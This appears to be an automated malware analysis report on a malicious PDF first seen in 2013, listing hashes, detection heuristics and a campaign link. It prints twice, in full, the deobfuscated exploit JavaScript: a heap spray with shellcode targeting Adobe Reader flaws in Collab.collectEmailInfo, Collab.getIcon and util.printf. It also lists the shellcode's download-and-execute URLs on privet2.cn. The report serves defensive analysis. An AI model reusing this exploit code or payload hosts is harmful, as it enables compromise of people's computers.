Malicious PDF — malware analysis report

Static analysis result for SHA-256 442ae057e3513505…

MALICIOUS

PDF

7.5 KB First seen: 2013-04-22
MD5: c16f84f6715dcc30b2e9210815af075a SHA-1: ce60caac1d18286fae49248acf7ed2e215ffc9f0 SHA-256: 442ae057e35135051bacf5b23f0a9d7457b66bbfd4dfec99f9bbde7d32a8895c
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1140 Deobfuscate/Decode Files or Information

The PDF file contains embedded JavaScript, flagged by multiple heuristics including ML classification and specific PDF JavaScript rules. The ML classifier output of 0.999956 strongly indicates malicious intent. The presence of an unescape() call and obfuscated JavaScript suggests the script is designed to decode and execute a payload. While the exact payload could not be determined due to obfuscation, the overall pattern points to a downloader.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (matched in decompressed stream)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
         var Rzj60rjUkUasXnTiweAE3 = 0x0c0c0c0c;
     var QWXsbWowW6sVpyegi9QCj =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB …
   }
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://privet2.cn/arend_nt/getexe.php?spl=pdf_email Referenced by PDF JavaScript
    • http://privet2.cn/arend_nt/getexe.php?spl=pdf_prntfReferenced by PDF JavaScript
    • http://privet2.cn/arend_nt/getexe.php?spl=pdf_icnReferenced by PDF JavaScript
    • http://privet2.cn/arend_nt/getexeReferenced by PDF JavaScript
🗂 Part of campaign: privet2.cn 16 samples

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0009_000.js pdf-javascript-stream PDF /JS object 9 at offset 0xD6 6175 bytes
SHA-256: 96a0c5f99218844611c30d826f0b5f0a8344c2adc8bf660e83d484a08111fe8e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). 22 of 42 identifiers look randomly generated (e.g. 'QmExKtkOfQyF5CWRZE1fF') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var k4lwoAH0kFatX2ElvKE5h = new Array();
 var UgBD6OnWfnTiZPXkhgUwH;
 var lave = eval;
 function gUIcFExUJfB1qP6FCbu15(zaUAKCrp99DdRqsfnMzTY, LKx5ZAgTBl8lFH7R9vaG0)
 {
   while(zaUAKCrp99DdRqsfnMzTY.length * 2 < LKx5ZAgTBl8lFH7R9vaG0)
   {
     zaUAKCrp99DdRqsfnMzTY += zaUAKCrp99DdRqsfnMzTY;
   }
   zaUAKCrp99DdRqsfnMzTY = zaUAKCrp99DdRqsfnMzTY.substring(0, LKx5ZAgTBl8lFH7R9vaG0 / 2);
   return zaUAKCrp99DdRqsfnMzTY;
 }
 function Fiz7NnTNG2MazRA08dLtk(w93DaB9ASIOAHUY5yvLzH)
 {
   if(w93DaB9ASIOAHUY5yvLzH == 0)
   {
     var Rzj60rjUkUasXnTiweAE3 = 0x0c0c0c0c;
     var QWXsbWowW6sVpyegi9QCj =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3274%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6D65%u6961%u006C");
   }
   else if(w93DaB9ASIOAHUY5yvLzH == 1)
   {
     Rzj60rjUkUasXnTiweAE3 = 0x30303030;
     var QWXsbWowW6sVpyegi9QCj =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3274%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7270%u746E%u0066");
   }
   else if(w93DaB9ASIOAHUY5yvLzH == 2)
   {
     var QWXsbWowW6sVpyegi9QCj =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3274%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6369%u006E");
   }
   var dkXnSURdjUyF3rrYfn5lf = 0x400000;
   var FaeEGMMhZ62Jdol8FPqkN = QWXsbWowW6sVpyegi9QCj.length * 2;
   var LKx5ZAgTBl8lFH7R9vaG0 = dkXnSURdjUyF3rrYfn5lf - (FaeEGMMhZ62Jdol8FPqkN + 0x38);
   var zaUAKCrp99DdRqsfnMzTY = unescape("%u9090%u9090");
   zaUAKCrp99DdRqsfnMzTY = gUIcFExUJfB1qP6FCbu15(zaUAKCrp99DdRqsfnMzTY, LKx5ZAgTBl8lFH7R9vaG0);
   var QmExKtkOfQyF5CWRZE1fF = (Rzj60rjUkUasXnTiweAE3 - 0x400000) / dkXnSURdjUyF3rrYfn5lf;
   for(var wI56PJUG5sMq7JA15ZgVY = 0; wI56PJUG5sMq7JA15ZgVY < QmExKtkOfQyF5CWRZE1fF; wI56PJUG5sMq7JA15ZgVY++)
   {
     k4lwoAH0kFatX2ElvKE5h[wI56PJUG5sMq7JA15ZgVY] = zaUAKCrp99DdRqsfnMzTY + QWXsbWowW6sVpyegi9QCj;
   }
 }
 function LZlS1Kg2zvKIzPhJuyNmK()
 {
   var vteOujyaEWWoIyocfqcbA = 0;
   var RbacuUaIHvWBZv7IuhXRD = app.viewerVersion.toString();
   app.clearTimeOut(UgBD6OnWfnTiZPXkhgUwH);
   if((RbacuUaIHvWBZv7IuhXRD >= 8 && RbacuUaIHvWBZv7IuhXRD < 8.102) || RbacuUaIHvWBZv7IuhXRD < 7.1)
   {
     Fiz7NnTNG2MazRA08dLtk(0);
     var ljCALr1ySAs4kUyF6HX1o = unescape("%u0c0c%u0c0c");
     while(ljCALr1ySAs4kUyF6HX1o.length < 44952) ljCALr1ySAs4kUyF6HX1o += ljCALr1ySAs4kUyF6HX1o;
     var QajpteWQ6jlpwvBnv0G72 = this;
     var jrWI8bZebNNC8C6ljWrSH = Collab;
     QajpteWQ6jlpwvBnv0G72["collabStore"] = jrWI8bZebNNC8C6ljWrSH["collectEmailInfo"](
     {
       subj : "", msg : ljCALr1ySAs4kUyF6HX1o
     }
     );
   }
   if((RbacuUaIHvWBZv7IuhXRD >= 8.102 && RbacuUaIHvWBZv7IuhXRD < 8.104) || (RbacuUaIHvWBZv7IuhXRD >= 9 && RbacuUaIHvWBZv7IuhXRD < 9.1) || RbacuUaIHvWBZv7IuhXRD <= 7.101)
   {
     try
     {
       if(app.doc.Collab.getIcon)
       {
         Fiz7NnTNG2MazRA08dLtk(2);
         var xPDrC01SF2m8X5E9dtk1H = unescape("%09");
         while(xPDrC01SF2m8X5E9dtk1H.length < 0x4000)
         {
           xPDrC01SF2m8X5E9dtk1H += xPDrC01SF2m8X5E9dtk1H;
         }
         xPDrC01SF2m8X5E9dtk1H = "N." + xPDrC01SF2m8X5E9dtk1H;
         var e9U3tDYkgqQ64HICIkSJX = app;
         e9U3tDYkgqQ64HICIkSJX["doc"]["Collab"]["getIcon"](xPDrC01SF2m8X5E9dtk1H);
         vteOujyaEWWoIyocfqcbA = 1;
       }
       else
       {
         vteOujyaEWWoIyocfqcbA = 1;
       }
     }
     catch(e)
     {
       vteOujyaEWWoIyocfqcbA = 1;
     }
     if(vteOujyaEWWoIyocfqcbA == 1)
     {
       if(RbacuUaIHvWBZv7IuhXRD == 8.102 || RbacuUaIHvWBZv7IuhXRD == 7.1)
       {
         Fiz7NnTNG2MazRA08dLtk(1);
         var Yrbo1FikGzhOTjHhH2N8S = "12999999999999999999";
         for(cBklO3WrM4RDeGDuzxAyf = 0; cBklO3WrM4RDeGDuzxAyf < 276; cBklO3WrM4RDeGDuzxAyf++)
         {
           Yrbo1FikGzhOTjHhH2N8S += "8";
         }
         var jSOpAgrXoK215mO8IGTMh = util;
         jSOpAgrXoK215mO8IGTMh["printf"]("%45000f", Yrbo1FikGzhOTjHhH2N8S);
       }
     }
   }
}
 app.W2ytvxr6wWdPvTZcK8Qe9 = LZlS1Kg2zvKIzPhJuyNmK;
 UgBD6OnWfnTiZPXkhgUwH = app.setTimeOut("app.W2ytvxr6wWdPvTZcK8Qe9()", 1);
javascript_obj0009_000_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 9 at offset 0xD6 276 bytes
SHA-256: 53b3e4c7a38345353f3fa1ae4b7ff52d402e922a3c928c5080347dbe2dec1883
javascript_obj0009_000_shellcode_01.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 9 at offset 0xD6 276 bytes
SHA-256: d3ec852c1d2decd4c16deaf172efa38de6b4ff01d8134aa8e996f13f2df4eb41
javascript_obj0009_000_shellcode_02.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 9 at offset 0xD6 274 bytes
SHA-256: 12ed26cd8dd7e85424451cd7e17e925b4b010481b1a4fd61291904ff3ca0143d
generic_stage_recovery_000.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 9 at offset 0xD6 6171 bytes
SHA-256: 07e990af7bbc5b503bbd8f4045231a2dc9017dcf3196b749dc615b9e71393f09
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). 22 of 42 identifiers look randomly generated (e.g. 'QmExKtkOfQyF5CWRZE1fF') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var k4lwoAH0kFatX2ElvKE5h = new Array();
 var UgBD6OnWfnTiZPXkhgUwH;
 var lave = eval;
 function gUIcFExUJfB1qP6FCbu15(zaUAKCrp99DdRqsfnMzTY, LKx5ZAgTBl8lFH7R9vaG0)
 {
   while(zaUAKCrp99DdRqsfnMzTY.length * 2 < LKx5ZAgTBl8lFH7R9vaG0)
   {
     zaUAKCrp99DdRqsfnMzTY += zaUAKCrp99DdRqsfnMzTY;
   }
   zaUAKCrp99DdRqsfnMzTY = zaUAKCrp99DdRqsfnMzTY.substring(0, LKx5ZAgTBl8lFH7R9vaG0 / 2);
   return zaUAKCrp99DdRqsfnMzTY;
 }
 function Fiz7NnTNG2MazRA08dLtk(w93DaB9ASIOAHUY5yvLzH)
 {
   if(w93DaB9ASIOAHUY5yvLzH == 0)
   {
     var Rzj60rjUkUasXnTiweAE3 = 0x0c0c0c0c;
     var QWXsbWowW6sVpyegi9QCj =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3274%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6D65%u6961%u006C");
   }
   else if(w93DaB9ASIOAHUY5yvLzH == 1)
   {
     Rzj60rjUkUasXnTiweAE3 = 0x30303030;
     var QWXsbWowW6sVpyegi9QCj =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3274%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7270%u746E%u0066");
   }
   else if(w93DaB9ASIOAHUY5yvLzH == 2)
   {
     var QWXsbWowW6sVpyegi9QCj =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3274%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6369%u006E");
   }
   var dkXnSURdjUyF3rrYfn5lf = 0x400000;
   var FaeEGMMhZ62Jdol8FPqkN = QWXsbWowW6sVpyegi9QCj.length * 2;
   var LKx5ZAgTBl8lFH7R9vaG0 = dkXnSURdjUyF3rrYfn5lf - (FaeEGMMhZ62Jdol8FPqkN + 0x38);
   var zaUAKCrp99DdRqsfnMzTY = unescape("%u9090%u9090");
   zaUAKCrp99DdRqsfnMzTY = gUIcFExUJfB1qP6FCbu15(zaUAKCrp99DdRqsfnMzTY, LKx5ZAgTBl8lFH7R9vaG0);
   var QmExKtkOfQyF5CWRZE1fF = (Rzj60rjUkUasXnTiweAE3 - 0x400000) / dkXnSURdjUyF3rrYfn5lf;
   for(var wI56PJUG5sMq7JA15ZgVY = 0; wI56PJUG5sMq7JA15ZgVY < QmExKtkOfQyF5CWRZE1fF; wI56PJUG5sMq7JA15ZgVY++)
   {
     k4lwoAH0kFatX2ElvKE5h[wI56PJUG5sMq7JA15ZgVY] = zaUAKCrp99DdRqsfnMzTY + QWXsbWowW6sVpyegi9QCj;
   }
 }
 function LZlS1Kg2zvKIzPhJuyNmK()
 {
   var vteOujyaEWWoIyocfqcbA = 0;
   var RbacuUaIHvWBZv7IuhXRD = app.viewerVersion.toString();
   app.clearTimeOut(UgBD6OnWfnTiZPXkhgUwH);
   if((RbacuUaIHvWBZv7IuhXRD >= 8 && RbacuUaIHvWBZv7IuhXRD < 8.102) || RbacuUaIHvWBZv7IuhXRD < 7.1)
   {
     Fiz7NnTNG2MazRA08dLtk(0);
     var ljCALr1ySAs4kUyF6HX1o = unescape("%u0c0c%u0c0c");
     while(ljCALr1ySAs4kUyF6HX1o.length < 44952) ljCALr1ySAs4kUyF6HX1o += ljCALr1ySAs4kUyF6HX1o;
     var QajpteWQ6jlpwvBnv0G72 = this;
     var jrWI8bZebNNC8C6ljWrSH = Collab;
     QajpteWQ6jlpwvBnv0G72["collabStore"] = jrWI8bZebNNC8C6ljWrSH["collectEmailInfo"](
     {
       subj : "", msg : ljCALr1ySAs4kUyF6HX1o
     }
     );
   }
   if((RbacuUaIHvWBZv7IuhXRD >= 8.102 && RbacuUaIHvWBZv7IuhXRD < 8.104) || (RbacuUaIHvWBZv7IuhXRD >= 9 && RbacuUaIHvWBZv7IuhXRD < 9.1) || RbacuUaIHvWBZv7IuhXRD <= 7.101)
   {
     try
     {
       if(app.doc.Collab.getIcon)
       {
         Fiz7NnTNG2MazRA08dLtk(2);
         var xPDrC01SF2m8X5E9dtk1H = unescape("	");
         while(xPDrC01SF2m8X5E9dtk1H.length < 0x4000)
         {
           xPDrC01SF2m8X5E9dtk1H += xPDrC01SF2m8X5E9dtk1H;
         }
         xPDrC01SF2m8X5E9dtk1H = "N." + xPDrC01SF2m8X5E9dtk1H;
         var e9U3tDYkgqQ64HICIkSJX = app;
         e9U3tDYkgqQ64HICIkSJX["doc"]["Collab"]["getIcon"](xPDrC01SF2m8X5E9dtk1H);
         vteOujyaEWWoIyocfqcbA = 1;
       }
       else
       {
         vteOujyaEWWoIyocfqcbA = 1;
       }
     }
     catch(e)
     {
       vteOujyaEWWoIyocfqcbA = 1;
     }
     if(vteOujyaEWWoIyocfqcbA == 1)
     {
       if(RbacuUaIHvWBZv7IuhXRD == 8.102 || RbacuUaIHvWBZv7IuhXRD == 7.1)
       {
         Fiz7NnTNG2MazRA08dLtk(1);
         var Yrbo1FikGzhOTjHhH2N8S = "12999999999999999999";
         for(cBklO3WrM4RDeGDuzxAyf = 0; cBklO3WrM4RDeGDuzxAyf < 276; cBklO3WrM4RDeGDuzxAyf++)
         {
           Yrbo1FikGzhOTjHhH2N8S += "8";
         }
         var jSOpAgrXoK215mO8IGTMh = util;
         jSOpAgrXoK215mO8IGTMh["printf"]("E000f", Yrbo1FikGzhOTjHhH2N8S);
       }
     }
   }
}
 app.W2ytvxr6wWdPvTZcK8Qe9 = LZlS1Kg2zvKIzPhJuyNmK;
 UgBD6OnWfnTiZPXkhgUwH = app.setTimeOut("app.W2ytvxr6wWdPvTZcK8Qe9()", 1);

Open this report in the interactive analyzer, or submit your own file for analysis.